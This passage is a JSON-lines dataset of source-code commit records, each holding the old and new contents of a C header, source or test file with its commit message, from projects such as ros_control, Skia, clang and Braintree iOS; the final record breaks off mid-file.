{"commit":"60dca868c576bf5e683a4173fec0ef710634570f","old_file":"transmission_interface\/include\/transmission_interface\/robot_transmissions.h","new_file":"transmission_interface\/include\/transmission_interface\/robot_transmissions.h","old_contents":"","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Copyright (C) 2013, PAL Robotics S.L.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/   * Redistributions of source code must retain the above copyright notice,\n\/\/     this list of conditions and the following disclaimer.\n\/\/   * Redistributions in binary form must reproduce the above copyright\n\/\/     notice, this list of conditions and the following disclaimer in the\n\/\/     documentation and\/or other materials provided with the distribution.\n\/\/   * Neither the name of hiDOF, Inc. nor the names of its\n\/\/     contributors may be used to endorse or promote products derived from\n\/\/     this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/ \\author Adolfo Rodriguez Tsouroukdissian\n\n#ifndef TRANSMISSION_INTERFACE_ROBOT_TRANSMISSIONS_H\n#define TRANSMISSION_INTERFACE_ROBOT_TRANSMISSIONS_H\n\n#include <hardware_interface\/internal\/interface_manager.h>\n#include <hardware_interface\/robot_hw.h>\n\nnamespace transmission_interface\n{\n\n\/**\n * \\brief Robot transmissions interface.\n *\n * This class provides a standardized interface to a set of robot transmission interfaces that allow to map between\n * actuator and joint spaces. It is meant to be used as a building block for robot hardware abstractions.\n *\n * This class implements a 1-to-1 map between the names of transmission interface types and instances of those\n * interface types.\n *\/\nclass RobotTransmissions : public hardware_interface::InterfaceManager {};\n\n} \/\/ namespace\n\n#endif \/\/ header guard\n","subject":"Add class for holding transmission interfaces.","message":"Add class for holding transmission interfaces.\n\n- Mirrors hardware_interface::RobotHW, but for transmissions.\n","lang":"C","license":"bsd-3-clause","repos":"ros-controls\/ros_control,ros-controls\/ros_control"}
{"commit":"d7d28c5f55d6022fbcbdb4005251303b8fd44c25","old_file":"spire_scirun\/namespaces.h","new_file":"spire_scirun\/namespaces.h","old_contents":"\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2013 Scientific Computing and Imaging Institute,\n   University of Utah.\n\n\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n*\/\n\n\/\/\/ \\author James Hughes\n\/\/\/ \\date   October 2013\n\n#ifndef NAMESPACES_H\n#define NAMESPACES_H\n\n\/\/ 'Forward declaration' of namespaces.\nnamespace CPM_SPIRE_NS {}\n\nnamespace CPM_SPIRE_SCIRUN_NS {\n\n\/\/ Renaming namespaces in our top level.\nnamespace spire = CPM_SPIRE_NS;\n\n} \/\/ namespace CPM_SPIRE_SCIRUN_NS \n\n#endif \n","new_contents":"\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2013 Scientific Computing and Imaging Institute,\n   University of Utah.\n\n\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n*\/\n\n\/\/\/ \\author James Hughes\n\/\/\/ \\date   October 2013\n\n#ifndef MODULE_SPIRE_SCIRUN_NAMESPACES_H\n#define MODULE_SPIRE_SCIRUN_NAMESPACES_H\n\n\/\/ 'Forward declaration' of namespaces.\nnamespace CPM_SPIRE_NS {}\n\nnamespace CPM_SPIRE_SCIRUN_NS {\n\nnamespace spire = CPM_SPIRE_NS;\n\n} \/\/ namespace CPM_SPIRE_SCIRUN_NS \n\n#endif \n","subject":"Make include guard more specific.","message":"Make include guard more specific.\n","lang":"C","license":"mit","repos":"iauns\/spire-scirun,iauns\/spire-scirun"}
{"commit":"10e4ffc630f528a703eca019e0bd69cfe076480f","old_file":"Sources\/BraintreeVenmo\/Public\/BraintreeVenmo\/BTVenmoAccountNonce.h","new_file":"Sources\/BraintreeVenmo\/Public\/BraintreeVenmo\/BTVenmoAccountNonce.h","old_contents":"#if __has_include(<Braintree\/BraintreeVenmo.h>)\n#import <Braintree\/BraintreeCore.h>\n#else\n#import <BraintreeCore\/BraintreeCore.h>\n#endif\n\n\/**\n Contains information about a Venmo Account payment method\n *\/\n@interface BTVenmoAccountNonce : BTPaymentMethodNonce\n\n\/**\n The email associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *email;\n\n\/**\n The external ID associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *externalId;\n\n\/**\n The first name associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *firstName;\n\n\/**\n The last name associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *lastName;\n\n\/**\n The phone number associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *phoneNumber;\n\n\/**\n The username associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *username;\n\n@end\n","new_contents":"#if __has_include(<Braintree\/BraintreeVenmo.h>)\n#import <Braintree\/BraintreeCore.h>\n#else\n#import <BraintreeCore\/BraintreeCore.h>\n#endif\n\n\/**\n Contains information about a Venmo Account payment method\n *\/\n@interface BTVenmoAccountNonce : BTPaymentMethodNonce\n\n\/**\n :nodoc:\n The email associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *email;\n\n\/**\n :nodoc:\n The external ID associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *externalId;\n\n\/**\n :nodoc:\n The first name associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *firstName;\n\n\/**\n :nodoc:\n The last name associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *lastName;\n\n\/**\n :nodoc:\n The phone number associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *phoneNumber;\n\n\/**\n The username associated with the Venmo account\n*\/\n@property (nonatomic, nullable, readonly, copy) NSString *username;\n\n@end\n","subject":"Add nodoc for beta fields.","message":"Add nodoc for beta fields.\n","lang":"C","license":"mit","repos":"braintree\/braintree_ios,braintree\/braintree_ios,braintree\/braintree_ios,braintree\/braintree_ios"}
{"commit":"3f0dab82391600448b36b3d2daaf92933ff5f785","old_file":"src\/http\/requestdata.h","new_file":"src\/http\/requestdata.h","old_contents":"#ifndef APIMOCK_REQUESTDATA_H\n#define APIMOCK_REQUESTDATA_H\n\n#include <string>\n\nnamespace ApiMock {\n\tstruct RequestData {\n\t\tenum HTTP_VERSION {\n\t\t\tHTTP_1_1,\n\t\t} httpVersion;\n\n\t\tenum METHOD {\n\t\t\tGET,\n\t\t\tPOST,\n\t\t\tPUT,\n\t\t\tDELETE,\n\t\t} method;\n\n\t\tstd::string requestUri;\n\t};\n}\n\n#endif","new_contents":"#ifndef APIMOCK_REQUESTDATA_H\n#define APIMOCK_REQUESTDATA_H\n\n#include <string>\n#include <unordered_map>\n\nnamespace ApiMock {\n\tstruct RequestData {\n\t\tenum HTTP_VERSION {\n\t\t\tHTTP_1_1,\n\t\t} httpVersion;\n\n\t\tenum METHOD {\n\t\t\tGET,\n\t\t\tPOST,\n\t\t\tPUT,\n\t\t\tDELETE,\n\t\t} method;\n\n\t\tstd::string requestUri;\n\t\tstd::unordered_map<std::string, std::string> headers;\n\t};\n}\n\n#endif","subject":"Add headers to request data","message":"Add headers to request data\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"9766b5a197f355679321312e89819e41fa9bed81","old_file":"src\/numbbo_c_runtime.c","new_file":"src\/numbbo_c_runtime.c","old_contents":"\/*\n * Generic NUMBBO runtime implementation. \n *\n * Other language interfaces might want to replace this so that memory\n * allocation and error handling goes through the respective language\n * runtime.\n *\/\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"numbbo.h\"\n\nvoid numbbo_error(const char *message) {\n    fprintf(stderr, \"FATAL ERROR: %s\\n\", message);\n    exit(EXIT_FAILURE);    \n}\n\nvoid numbbo_warning(const char *message) {\n    fprintf(stderr, \"WARNING: %s\\n\", message);\n}\n\nvoid *numbbo_allocate_memory(size_t size) {\n    void *data = malloc(size);\n    if (data == NULL)\n        numbbo_error(\"numbbo_allocate_memory() failed.\");\n    return data;\n}\n \nvoid numbbo_free_memory(void *data) {\n    free(data);\n}\n","new_contents":"\/*\n * Generic NUMBBO runtime implementation. \n *\n * Other language interfaces might want to replace this so that memory\n * allocation and error handling go through the respective language\n * runtime.\n *\/\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"numbbo.h\"\n\nvoid numbbo_error(const char *message) {\n    fprintf(stderr, \"FATAL ERROR: %s\\n\", message);\n    exit(EXIT_FAILURE);    \n}\n\nvoid numbbo_warning(const char *message) {\n    fprintf(stderr, \"WARNING: %s\\n\", message);\n}\n\nvoid *numbbo_allocate_memory(size_t size) {\n    void *data = malloc(size);\n    if (data == NULL)\n        numbbo_error(\"numbbo_allocate_memory() failed.\");\n    return data;\n}\n \nvoid numbbo_free_memory(void *data) {\n    free(data);\n}\n","subject":"Fix grammar mistake in comment.","message":"Fix grammar mistake in comment.\n","lang":"C","license":"bsd-3-clause","repos":"NDManh\/numbbo,oaelhara\/numbbo,oaelhara\/numbbo,dtusar\/coco,oaelhara\/numbbo,NDManh\/numbbo,oaelhara\/numbbo,dtusar\/coco,NDManh\/numbbo,NDManh\/numbbo,oaelhara\/numbbo,dtusar\/coco,oaelhara\/numbbo,dtusar\/coco,dtusar\/coco,NDManh\/numbbo,dtusar\/coco,oaelhara\/numbbo,NDManh\/numbbo,dtusar\/coco,NDManh\/numbbo,dtusar\/coco,NDManh\/numbbo,NDManh\/numbbo,oaelhara\/numbbo,dtusar\/coco,oaelhara\/numbbo"}
{"commit":"9e6ecae83a72982c5b1c611d5f95ce62fb3fc10b","old_file":"exercise105.c","new_file":"exercise105.c","old_contents":"","new_contents":"\/* Modify the temperature conversion program to print the table in reverse\n * order, that is, from 300 degrees to 0. *\/ \n\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n  printf(\"F\\tC\\n=============\\n\");\n  float i;\n  for (i = 300; i >= 0; i -= 20) {\n    printf(\"%3.0f\\t%5.1f\\n\", i, (5.0 \/ 9.0) * (i - 32.0));\n  }\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 1-5.","message":"Add solution to Exercise 1-5.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"52aecbec6fb24f9cf0491563674906a9a43170da","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 105\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 106\n#endif\n","subject":"Update Skia milestone to 106","message":"Update Skia milestone to 106\n\nChange-Id: I079e17240d30e9e0be2417920d64e5e9ac22f5c0\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/561676\nReviewed-by: Rakshit Sharma <e91e6cdce3825eaad0fa11b55195605cfed87fab@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"c9367d33dcb5d7a3387cbe64d1834da50b412cba","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 70\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 71\n#endif\n","subject":"Update Skia milestone to 71","message":"Update Skia milestone to 71\n\nTBR:reed@google.com\nNOTRY=true\n\nBug: skia:\nChange-Id: Ic3a9b2511fed9a731867200e4f298f8f54eaf85b\nReviewed-on: https:\/\/skia-review.googlesource.com\/150580\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,google\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,rubenvb\/skia"}
{"commit":"9d2de4a05fa7e978d16dd6e35a12d432ee845c3c","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 62\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 63\n#endif\n","subject":"Update Skia milestone to 63","message":"Update Skia milestone to 63\n\nTBR: reed\n\nChange-Id: I0ae2640539d640227ede9b818793f220f2328832\nReviewed-on: https:\/\/skia-review.googlesource.com\/41361\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,google\/skia,HalCanary\/skia-hc,google\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,rubenvb\/skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,google\/skia,google\/skia,HalCanary\/skia-hc"}
{"commit":"caac0899b528102b88a7d49d3324d7b39d2ae88d","old_file":"test\/Analysis\/casts.c","new_file":"test\/Analysis\/casts.c","old_contents":"\/\/ RUN: clang-cc -analyze -checker-cfref -analyzer-store=region --verify %s\n\n\/\/ Test if the 'storage' region gets properly initialized after it is cast to\n\/\/ 'struct sockaddr *'. \n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n\nvoid f(int sock) {\n  struct sockaddr_storage storage;\n  struct sockaddr* sockaddr = (struct sockaddr*)&storage;\n  socklen_t addrlen = sizeof(storage);\n  getsockname(sock, sockaddr, &addrlen);\n  switch (sockaddr->sa_family) { \/\/ no-warning\n  default:\n    ;\n  }\n}\n\nstruct s {\n  struct s *value;\n};\n\nvoid f1(struct s **pval) {\n  int *tbool = ((void*)0);\n  struct s *t = *pval;\n  pval = &(t->value);\n  tbool = (int *)pval; \/\/ Should record the cast-to type here.\n  char c = (unsigned char) *tbool; \/\/ Should use cast-to type to create symbol.\n  if (*tbool == -1)\n    (void)3;\n}\n\nvoid f2(const char *str) {\n unsigned char ch, cl, *p;\n\n p = (unsigned char *)str;\n ch = *p++; \/\/ use cast-to type 'unsigned char' to create element region.\n cl = *p++;\n if(!cl)\n    cl = 'a';\n}\n","new_contents":"\/\/ RUN: clang-cc -triple x86_64-apple-darwin9 -analyze -checker-cfref -analyzer-store=region --verify %s\n\n\/\/ Test if the 'storage' region gets properly initialized after it is cast to\n\/\/ 'struct sockaddr *'. \n\ntypedef unsigned char __uint8_t;\ntypedef unsigned int __uint32_t;\ntypedef __uint32_t __darwin_socklen_t;\ntypedef __uint8_t sa_family_t;\ntypedef __darwin_socklen_t socklen_t;\nstruct sockaddr { sa_family_t sa_family; };\nstruct sockaddr_storage {};\n\nvoid f(int sock) {\n  struct sockaddr_storage storage;\n  struct sockaddr* sockaddr = (struct sockaddr*)&storage;\n  socklen_t addrlen = sizeof(storage);\n  getsockname(sock, sockaddr, &addrlen);\n  switch (sockaddr->sa_family) { \/\/ no-warning\n  default:\n    ;\n  }\n}\n\nstruct s {\n  struct s *value;\n};\n\nvoid f1(struct s **pval) {\n  int *tbool = ((void*)0);\n  struct s *t = *pval;\n  pval = &(t->value);\n  tbool = (int *)pval; \/\/ Should record the cast-to type here.\n  char c = (unsigned char) *tbool; \/\/ Should use cast-to type to create symbol.\n  if (*tbool == -1)\n    (void)3;\n}\n\nvoid f2(const char *str) {\n unsigned char ch, cl, *p;\n\n p = (unsigned char *)str;\n ch = *p++; \/\/ use cast-to type 'unsigned char' to create element region.\n cl = *p++;\n if(!cl)\n    cl = 'a';\n}\n","subject":"Make this test case more portable by removing its dependency on system header files.","message":"Make this test case more portable by removing its dependency on system header files.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@79511 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"5adfa9687fc3a70ad00918004f013e056f8d14b0","old_file":"test\/Driver\/noexecstack.c","new_file":"test\/Driver\/noexecstack.c","old_contents":"\/\/ RUN: %clang -### %s -c -o tmp.o -triple i686-pc-linux-gnu -integrated-as -Wa,--noexecstack 2>&1 | grep \"mnoexecstack\"\n","new_contents":"\/\/ RUN: %clang -### %s -c -o tmp.o -target i686-pc-linux-gnu -integrated-as -Wa,--noexecstack 2>&1 | FileCheck %s\n\n\/\/ CHECK: \"-cc1\" {{.*}} \"-mnoexecstack\"\n","subject":"Use -target instead of triple and use FileCheck.","message":"Use -target instead of triple and use FileCheck.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@193502 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"65b96896c1a63ec40f21732e4b1777b0053d63c1","old_file":"test\/Driver\/aarch64-mte.c","new_file":"test\/Driver\/aarch64-mte.c","old_contents":"","new_contents":"\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.4a+memtag %s 2>&1 | FileCheck %s\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.5a+memtag %s 2>&1 | FileCheck %s\n\/\/ CHECK: \"-target-feature\" \"+mte\"\n\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.4a+nomemtag %s 2>&1 | FileCheck %s --check-prefix=NOMTE\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.5a+nomemtag %s 2>&1 | FileCheck %s --check-prefix=NOMTE\n\/\/ NOMTE: \"-target-feature\" \"-mte\"\n\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi                 %s 2>&1 | FileCheck %s --check-prefix=ABSENTMTE\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.4a %s 2>&1 | FileCheck %s --check-prefix=ABSENTMTE\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.5a %s 2>&1 | FileCheck %s --check-prefix=ABSENTMTE\n\/\/ ABSENTMTE-NOT: \"-target-feature\" \"+mte\"\n\/\/ ABSENTMTE-NOT: \"-target-feature\" \"-mte\"\n","subject":"Test clang option for the Memory Tagging Extension","message":"[AArch64][v8.5A] Test clang option for the Memory Tagging Extension\n\nThe implementation of this is in TargetParser, so we only need to add a\ntest for it in clang.\n\nPatch by Pablo Barrio!\n\nDifferential revision: https:\/\/reviews.llvm.org\/D52493\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@343566 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"c1290ad36b0aff4ab1661233eae6e043858c2813","old_file":"libkoshka_mm.h","new_file":"libkoshka_mm.h","old_contents":"typedef struct\n{\n    unsigned long long int width,height;\n    long long int handle_x,handle_y;\n    GLuint texture;\n    SDL_Surface *surface;\n    GLuint mask;\n} Image;\n\nvoid bb_fatal_error(char *msg);\n","new_contents":"typedef struct\n{\n    long long int width,height;\n    long long int width_frames,height_frames;\n    long long int handle_x,handle_y;\n    GLuint *textures;\n    SDL_Surface *surface;\n    GLuint mask_color;\n    unsigned long long int **masks;\n    unsigned long long int mask_width;\n    unsigned long long int mask_height;\n} Image;\n\nvoid bb_fatal_error(char *msg);\n","subject":"Change definition of Image struct so all width\/height fields are signed integers. Add fields to Image struct that deal with collision masking.","message":"Change definition of Image struct so all width\/height fields are signed integers.\nAdd fields to Image struct that deal with collision masking.\n","lang":"C","license":"bsd-2-clause","repos":"clockworkdevstudio\/Idlewild-Lang,clockworkdevstudio\/Idlewild-Lang,clockworkdevstudio\/Idlewild-Lang"}
{"commit":"f269793b3350ed21c83d7c7ac456aa7743f5c9e9","old_file":"mount_slash\/fuse_listener.h","new_file":"mount_slash\/fuse_listener.h","old_contents":"\/* $Id$ *\/\n\/*\n * %PSC_START_COPYRIGHT%\n * -----------------------------------------------------------------------------\n * Copyright (c) 2006-2010, Pittsburgh Supercomputing Center (PSC).\n *\n * Permission to use, copy, and modify this software and its documentation\n * without fee for personal use or non-commercial use within your organization\n * is hereby granted, provided that the above copyright notice is preserved in\n * all copies and that the copyright and this permission notice appear in\n * supporting documentation.  Permission to redistribute this software to other\n * organizations or individuals is not permitted without the written permission\n * of the Pittsburgh Supercomputing Center.  PSC makes no representations about\n * the suitability of this software for any purpose.  It is provided \"as is\"\n * without express or implied warranty.\n * -----------------------------------------------------------------------------\n * %PSC_END_COPYRIGHT%\n *\/\n\n#ifndef _FUSE_LISTENER_H_\n#define _FUSE_LISTENER_H_\n\n#include <fuse_lowlevel.h>\n\n#define FUSE_OPTIONS \"allow_other,max_write=134217728,big_writes\"\n\nvoid\tslash2fuse_listener_exit(void);\nint\tslash2fuse_listener_init(void);\nint\tslash2fuse_listener_start(void);\nint\tslash2fuse_newfs(const char *, struct fuse_chan *);\n\nextern int exit_fuse_listener;\n\n#endif \/* _FUSE_LISTENER_H_ *\/\n","new_contents":"\/* $Id$ *\/\n\/*\n * %PSC_START_COPYRIGHT%\n * -----------------------------------------------------------------------------\n * Copyright (c) 2006-2010, Pittsburgh Supercomputing Center (PSC).\n *\n * Permission to use, copy, and modify this software and its documentation\n * without fee for personal use or non-commercial use within your organization\n * is hereby granted, provided that the above copyright notice is preserved in\n * all copies and that the copyright and this permission notice appear in\n * supporting documentation.  Permission to redistribute this software to other\n * organizations or individuals is not permitted without the written permission\n * of the Pittsburgh Supercomputing Center.  PSC makes no representations about\n * the suitability of this software for any purpose.  It is provided \"as is\"\n * without express or implied warranty.\n * -----------------------------------------------------------------------------\n * %PSC_END_COPYRIGHT%\n *\/\n\n#ifndef _FUSE_LISTENER_H_\n#define 